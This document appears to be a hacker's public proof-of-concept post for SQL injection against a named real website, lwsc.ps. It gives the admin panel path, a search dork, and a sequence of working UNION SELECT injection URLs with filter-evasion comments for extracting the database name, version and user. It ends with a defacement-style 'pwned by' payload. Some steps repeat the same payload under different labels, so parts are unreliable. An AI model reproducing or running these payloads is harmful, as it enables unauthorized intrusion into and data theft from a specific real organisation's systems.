========================================================================== # Ttile : lwsc.ps - Sql injection # Author : Dje3Bb4rAn0n (bassem) Fb.com/djebbar.bassem.16 # Date : 01/04/2019 # Tested on : Linux (backbox) # Vendor : دائرة تكنولوجيا المعلومات # Dork : ========================================================================== POC : [ + ] Site : https://lwsc.ps [ + ] Admin panel path : site.com/admin/login.php [ + ] search for the injection point using this dork .php?id site:https://lwsc.ps [ + ] Use this payload : https://lwsc.ps/[ ].php?id= [ ID ] [ ' ] [ + ] Example : https://lwsc.ps/works2.php?id=100' [ + ] Fixable : https://lwsc.ps/works2.php?id=100 %23 19 columns -------------- # https://lwsc.ps/works2.php?id=100+order+by+19 asc %23 Vunl column is [ 3 ] ----------------------- # https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23 Database: -------------- # https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,database/**_**/(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23 ---------- Version : ----------- # https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,database/**_**/(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23 ------- USer: ------- # https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,database/**_**/(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23 [ + ] Example : https://lwsc.ps/works2.php?id=-100 AnD Point(29,9)+/*!50000UnION*/+ /*!50000SEleCt*/+1,2,concat(0x3c63656e7465723e3c68313e3c6d6172717565653e3c666f6e7420636f6c6f723d22726564222073697a653d353e70776e656420427920446a3342623172416e306e3c2f666f6e743e3c2f6d6172717565653e3c2f68313e3c2f63656e7465723e3c62723e4461746162617365203a20,database/**_**/(),0x3c62723e56657273696f6e203a20,Version/**_**/(),0x3c62723e55736572203a20,user/**_**/()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 %23 -------------------------------------------------------------------- PLeaseee fix this fast as u can Free palestine <3 --------------------------------------------------------------------- ###### Greetz to : Lakarha_23 | mohammed pazzo | Ja GAr ######